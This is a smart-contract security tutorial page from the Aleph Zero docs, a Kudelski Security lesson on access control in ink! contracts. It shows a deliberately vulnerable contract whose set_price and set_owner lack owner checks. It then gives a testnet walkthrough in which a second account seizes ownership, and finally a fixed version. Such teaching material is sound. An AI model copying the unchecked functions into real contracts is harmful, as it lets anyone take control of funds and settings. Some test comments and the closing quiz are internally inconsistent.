LogoLogo
  • WELCOME TO ALEPH ZERO
  • EXPLORE
    • About Aleph Zero
    • AlephBFT Consensus
    • The Economy of Aleph Zero
    • Where to Buy AZERO
    • Decentralized Governance on Aleph Zero
    • Ecosystem
    • Aleph Zero Foundation Treasury Management
    • Community
    • Glossary
    • Audit & Research Papers
  • USE
    • Wallets
    • Explorer
    • Ledger
    • Telegram Notifications
    • Aleph Zero Signer
      • General introduction
      • What does Signer do?
      • What are Sub-accounts and Sub-account paths?
      • Why is it critical to store your Secret Phrase in a safe place?
      • How to forget and restore accounts?
      • What are Networks?
      • What are Trusted apps?
    • Dashboard
      • Dashboard basics
      • Overview
    • Stake
      • Staking Basics
      • Staking Menu Overview
      • How to Start Staking with the Aleph Zero Dashboard
      • How to Start Staking With the Developer Wallet
      • How to start staking using Ledger hardware wallet
      • How to Change Nominations
      • How to Stop Staking
      • Staking Rewards
      • Validators
      • Commission and Foundation Nodes
      • Proxy Accounts
    • Validate
      • Validating Overview
      • Hardware requirements
      • Running an Aleph Node on Testnet
        • Downloading and running the node
        • Verifying your setup
        • Customizing your setup
        • Building and running from source [advanced]
          • Building from source
          • Set environment variables
          • Download DB snapshot
          • Running the binary
        • Appendix: Ports, addresses, validators, and archivists
      • Running an Aleph Node on Mainnet
        • Running the node
        • Building and running from source [advanced]
      • Setting your identity
      • Making the node validate
      • Securing your validator
      • Troubleshooting
      • Elections and Rewards Math
      • Testnet Validator Airdrop
      • Foundation Nomination Program
    • Using the EVM-layer
    • Governance
      • Token
      • Multisig Accounts
  • BUILD
    • Aleph Zero smart contracts basics
      • Setting up a Testnet account
      • Installing required tools
      • Creating your first contract
      • Deploying your contract to Aleph Zero Testnet
      • Extending your contract
    • Cross contract calls
      • Using references
      • Using dynamic calls
    • Migrating from Solidity
    • Writing e2e tests with ink-wrapper
    • Aleph Zero Signer integration
    • Front-end app: smart contract interaction
    • Security Course by Kudelski Security
      • ink! Developers Security Guideline
      • Lesson 1 - Getting started with ink!
      • Lesson 2 - Threat Assessment
      • Lesson 3 - Integer Overflow
      • Lesson 4 - Signed-integer
      • Lesson 5 - Role-Based Access Control
      • Lesson 6 - Address Validation
      • Lesson 7 - Smart Contract Control
    • Development on EVM-layer
  • PROTOCOL DETAILS
    • Shielder
      • Overview
      • Design against Bad Actors
      • Preliminaries - ZK-relations
      • Notes and Accounts
      • ZK-ID and Registrars
      • Anonymity Revokers
      • PoW Anonymity Revoking
      • Relayers
      • Deterministic Secret Management
      • SNARK-friendly Symmetric Encryption
      • SNARK-friendly Asymmetric Encryption
      • Cryptography
      • Token shortlist
      • User Wallet
      • Versioning
      • PoC
      • Version 0.1.0
      • Version 0.2.0
    • Common DEX
      • Common Whitepaper - Differences
      • Dutch Auctions
  • FAQ
  • Tutorials
    • Withdrawing coins from exchanges
      • How to withdraw your AZERO coins from KuCoin
      • How to withdraw your AZERO coins from MEXC Global
      • How to withdraw your AZERO coins from HTX
  • Setting up or restoring a wallet
    • How to set up or recover your AZERO account using Aleph Zero Signer
    • How to set up or recover your AZERO account using the official mainnet web wallet
    • How to set up or recover your AZERO account using Nova Wallet
    • How to set up or recover your AZERO account using SubWallet
    • How to set up or recover your AZERO account using Talisman
  • Staking
    • How to stake via a direct nomination using the Aleph Zero Dashboard
    • How to stake via a nomination pool using the Aleph Zero Dashboard
    • How to destroy a nomination pool via the Aleph Zero Dashboard
Powered by GitBook
On this page
  • Introduction
  • Prerequisites
  • Objectives and Outcomes
  • Exercise
  • Vulnerable Smart contract
  • Simulated Attack
  • Secure Solution
  • Question

Was this helpful?

  1. BUILD
  2. Security Course by Kudelski Security

Lesson 5 - Role-Based Access Control

PreviousLesson 4 - Signed-integerNextLesson 6 - Address Validation

Last updated 2 years ago

Was this helpful?

Introduction

This lesson targets the importance of verifying who can access or call the different functions of your Aleph Zero smart contract.

Prerequisites

To be able to understand and complete this lesson, we believe that the minimum requirement should be the completion of . If you desire to be even more prepared please have a look at the official website of .

Objectives and Outcomes

In this lesson you will learn:

  • What access control means in web3;

  • The consequences of a bad access control implementation;

  • How to exploit poorly implemented access control in practice;

  • How to mitigate an attack on access control.

Exercise

Vulnerable Smart contract

Access control in smart contracts protect the access to functions or state. Having no access control could result to having external users modifying the global state of your contract in an undesired way and break the logic of your smart contract.

For example, Bob developed an application that he would like to deploy on Aleph Zero. To achieve his goal, he decided to implement his smart contract in the following way.

Consider a contract that sets a value or a state at construction that is intended to only be modified by the owner of the contract. This contract has two messages that are publicly accessible: set_price and set_owner.

#![cfg_attr(not(feature = "std"), no_std)]


#[ink::contract]
mod price {
    use ink::storage::Mapping;
   
    #[ink(storage)]
    #[derive(Default)]
    pub struct Price {
        total_supply: u32,
        price: u32,
        owner: AccountId,
        balances: Mapping<AccountId, u32>,
        
    }
    impl Price {
        #[ink(constructor)]
        pub fn new(supply: u32, price: u32) -> Self {
            let mut balances = Mapping::default();
            let caller = Self::env().caller();
            balances.insert(caller, &supply);
              Self{ 
                total_supply:supply,
                price : price,
                balances,
                owner: caller,
              }
            
        }

        #[ink(message)]
        pub fn total_supply(&self) -> u32 {
            self.total_supply
        }
        #[ink(message)]
        pub fn set_price(&mut self, price: u32) {
            self.price = price
        }
        #[ink(message)]
        pub fn get_price(&self) -> u32 {
            self.price
        }

        #[ink(message)]
        pub fn get_owner(&self) -> AccountId {
            self.owner
        }
        #[ink(message)]
        pub fn set_owner(&mut self, new_owner: AccountId) {
            self.owner = new_owner
        }
        /// Simply returns the current value of our `bool`.
        #[ink(message)]
        pub fn balance_of(&self, account: AccountId) -> u32 {
            match self.balances.get(&account) {
                Some(value) => value,
                None => 0,
            }
        }

        pub fn inflation(&mut self) {
            self.total_supply += 999_999
        }

        #[ink(message)]
        pub fn transfer(&mut self, recipient: AccountId, amount: u32) {
            let sender = self.env().caller();
            let sender_balance = self.balance_of(sender);
            if sender_balance < amount {
                return;
            }
            self.balances.insert(sender, &(sender_balance - amount));
            let recipient_balance = self.balance_of(recipient);
            self.balances.insert(recipient, &(recipient_balance + amount));
        }
    }

    #[cfg(test)]
mod tests {
    use crate::price::Price;
    use ink::env::{test, DefaultEnvironment};

    #[ink::test]
    fn contract_construction() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let price = Price::new(1000, 10);
        assert_eq!(price.total_supply(), 1000);
        assert_eq!(price.get_price(), 10);
        assert_eq!(price.get_owner(), accounts.alice);
    }

    #[ink::test]
    fn access_to_non_message_functions() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(100_000, 100);
        let starting_supply = price.total_supply;
        // run non-message function `inflation` to add 999_999 to total_supply
        price.inflation();
        assert_eq!(price.total_supply, starting_supply + 999_999 )
    }

    #[ink::test]
    fn non_owner_set_price() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(10000, 100);
        // price set to 100 by alice at construction
        // change caller to bob
        test::set_caller::<DefaultEnvironment>(accounts.bob);
        //bob's attempt to set price and panic will result
        price.set_price(10);
        assert_eq!(price.get_price(), 10);
    }
    #[ink::test]
    fn non_owner_change_owner() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(10000, 100);
        // owner = alice
        // change caller to bob
        test::set_caller::<DefaultEnvironment>(accounts.bob);
        // attempt to set owner to bob and panic will result
        price.set_owner(accounts.bob);
        assert_eq!(price.get_owner(), accounts.bob);
    }
    #[ink::test]
    fn owner_change_owner() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(10000, 100);
        price.set_owner(accounts.django);
        assert_eq!(price.get_owner(), accounts.django);
        
        
    }
    #[ink::test]
    fn owner_change_price() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(10000, 100);
        price.set_price(50);
        assert_eq!(price.get_price(), 50);
        
    }
}
}

What are the security vulnerabilities in the code presented in above?

==- Hint Please have a look at the function set_price and set_owner

==- Answer The price and the owner of the smart contract can be modified by any user. ==- Let’s discuss the consequences of the vulnerabilities. Can you think of a way to exploit those vulnerabilities?

Simulated Attack

Please download the executable of the contract here, deploy it on Aleph Zero testnet (https://test.azero.dev/ ) and try to attack it. Any

Did you succeed? Yes! Well done, if not please do not worry and have a look at the proposed attack below.

==- Attack

Setup

To simulate you will need two founded accounts, please watch the video of [Course_04](add link) if you do not know how to do it.

cargo install cargo-contract --version 2.0.0-beta.1
cargo contract new price
cd price 

then copy paste the code above into the lib.rs file

cargo +nightly test -- --nocapture

Tests Output

running 6 tests
test price::tests::non_owner_change_owner ... ok
test price::tests::access_to_non_message_functions ... ok
test price::tests::owner_change_owner ... ok
test price::tests::contract_construction ... ok
test price::tests::non_owner_set_price ... ok
test price::tests::owner_change_price ... ok

Build and Deploy to Testnet

Using Cargo Contract Command line

cargo +nightly contract build --release
export SEED="[put your 12 words seed phrase here]"
export URL="wss://ws.test.azero.dev"
cargo contract instantiate --suri "$SEED" --url "$URL" \
        --constructor new \
        --args 1000 450

Output

 Dry-running new (skip with --skip-dry-run)
    Success! Gas required estimated at Weight(ref_time: 513761328, proof_size: 0)
Confirm transaction details: (skip with --skip-confirm)
 Constructor new
        Args 1000 450
   Gas limit Weight(ref_time: 513761328, proof_size: 0)
Submit? (Y/n): y
    Contract 5D3U2wgaBKaYDA7459TPrCJZ8LBVfTA44JLf5W1WRHuE1bey
      Events
      ....
export CONTRACT="5D3U2wgaBKaYDA7459TPrCJZ8LBVfTA44JLf5W1WRHuE1bey"
cargo contract call --suri "$SEED" --url "$URL"  --contract "$CONTRACT"  --message get_price --dry-run

Output

    Result Success!
    Reverted false
    Data Tuple(Tuple { ident: Some("Ok"), values: [UInt(450)] })

Set price with second account($SEED2)

cargo contract call --suri "$SEED2" --url "$URL"  --contract "$CONTRACT"  --message set_price --args 10    
cargo contract call --suri "$SEED" --url "$URL"  --contract "$CONTRACT"  --message get_price --dry-run 
    Result Success!
    Reverted false
    Data Tuple(Tuple { ident: Some("Ok"), values: [UInt(10)] })

User with $SEED2 sets themselves to owner

cargo contract call --suri "$SEED2" --url "$URL"  --contract "$CONTRACT"  --message set_owner --args "5HiyV1tUmLy4ARX4tUk9eqMRt1D2dAc7WSPLLK22oAk6aoPK" 
cargo contract call --suri "$SEED" --url "$URL"  --contract "$CONTRACT"  --message get_owner --dry-run
    Result Success!
    Reverted false
    Data Tuple(Tuple { ident: Some("Ok"), values: [Literal("5HiyV1tUmLy4ARX4tUk9eqMRt1D2dAc7WSPLLK22oAk6aoPK")] })

Using Contracts-UI from substrate.io

Add New Contract

Upload money.contract from the target/ink directory and click next

Set the supply to 10000 and the price to 450 and click next

Click Upload and Instantiate

The price is 450

The owner is justinTest or 5EZTBFJJxgSFwSALjVitwzmuiTDzT5JjxoYmmaejo9ueBUwt

The price being changed to 10 by just2

The price is set to 10

just2 setting themself to owner

The Owner is now 5HiyV1tUmLy4ARX4tUk9eqMRt1D2dAc7WSPLLK22oAk6aoPK ==-

Secure Solution

Now we have discovered the problem and its consequences. Let's talk about the secure way of developing the smart contract.

Any idea? Let's look at the solution!

==- Solution Verify for the desired function that the owner of the smart contract is also the caller of the function by checking self.owner == self.env().caller(). It is important to know that you could also give access to other users. ==-

You can see below a secure way to implement the smart contract that Bob desired.

==- Reveal Secure Implementation

# Secure Smart Contract
#![cfg_attr(not(feature = "std"), no_std)]


#[ink::contract]
mod price {
    use ink::storage::Mapping;
   
    #[ink(storage)]
    #[derive(Default)]
    pub struct Price {
        total_supply: u32,
        price: u32,
        owner: AccountId,
        balances: Mapping<AccountId, u32>,
        
    }
    impl Price {
        #[ink(constructor)]
        pub fn new(supply: u32, price: u32) -> Self {
            let mut balances = Mapping::default();
            let caller = Self::env().caller();
            balances.insert(caller, &supply);
              Self{ 
                total_supply:supply,
                price : price,
                balances,
                owner: caller,
              }
            
        }

        #[ink(message)]
        pub fn total_supply(&self) -> u32 {
            self.total_supply
        }
        #[ink(message)]
        pub fn set_price(&mut self, price: u32) {
            if self.owner == self.env().caller() {
                self.price = price
            }
        }
        #[ink(message)]
        pub fn get_price(&self) -> u32 {
            self.price
        }

        #[ink(message)]
        pub fn get_owner(&self) -> AccountId {
            self.owner
        }
        #[ink(message)]
        pub fn set_owner(&mut self, new_owner: AccountId) {
            if self.owner == self.env().caller() {
                self.owner = new_owner
            }
        }
        /// Simply returns the current value of our `bool`.
        #[ink(message)]
        pub fn balance_of(&self, account: AccountId) -> u32 {
            match self.balances.get(&account) {
                Some(value) => value,
                None => 0,
            }
        }

        pub fn inflation(&mut self) {
            self.total_supply += 999_999
        }

        #[ink(message)]
        pub fn transfer(&mut self, recipient: AccountId, amount: u32) {
            let sender = self.env().caller();
            let sender_balance = self.balance_of(sender);
            if sender_balance < amount {
                return;
            }
            self.balances.insert(sender, &(sender_balance - amount));
            let recipient_balance = self.balance_of(recipient);
            self.balances.insert(recipient, &(recipient_balance + amount));
        }
    }

    #[cfg(test)]
mod tests {
    use crate::price::Price;
    use ink::env::{test, DefaultEnvironment};

    #[ink::test]
    fn contract_construction() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let price = Price::new(1000, 10);
        assert_eq!(price.total_supply(), 1000);
        assert_eq!(price.get_price(), 10);
        assert_eq!(price.get_owner(), accounts.alice);
    }

    #[ink::test]
    fn access_to_non_message_functions() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(100_000, 100);
        let starting_supply = price.total_supply;
        // run non-message function `inflation` to add 999_999 to total_supply
        price.inflation();
        assert_eq!(price.total_supply, starting_supply + 999_999 )
    }

    #[ink::test]
    fn non_owner_set_price() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(10000, 100);
        // price set to 100 by alice at construction
        // change caller to bob
        test::set_caller::<DefaultEnvironment>(accounts.bob);
        //bob's attempt to set price and no change since bob is not an owner
        price.set_price(10);
        assert_eq!(price.get_price(), 100); 
    }
    #[ink::test]
    fn non_owner_change_owner() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(10000, 100);
        // owner = alice
        // change caller to bob
        test::set_caller::<DefaultEnvironment>(accounts.bob);
        // attempt to set owner to bob and no change since owner is alice.
        price.set_owner(accounts.bob);
        assert_eq!(price.get_owner(), accounts.alice);
    }
    #[ink::test]
    fn owner_change_owner() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(10000, 100);
        price.set_owner(accounts.django);
        assert_eq!(price.get_owner(), accounts.django);
        
        
    }
    #[ink::test]
    fn owner_change_price() {
        let accounts = test::default_accounts::<DefaultEnvironment>();
        test::set_caller::<DefaultEnvironment>(accounts.alice);
        let mut price = Price::new(10000, 100);
        price.set_price(50);
        assert_eq!(price.get_price(), 50);
        
    }
}
}

==- If you want can verify that this new source code secures the smart contract by replaying the attack over that has been done above.

Question

If you are up to the challenge, see if you know the answer to this question:

True or false: Which other identity than the contract owner could be allowed to modified the price of the token?

==- Answers False. For example, an oracle if the price depends of some date external to the blockchain. ==-

Unfortunately, Bob did not follow the .

Go to

Lesson 1 - Getting Started
ink!
security guidelines
https://contracts-ui.substrate.io/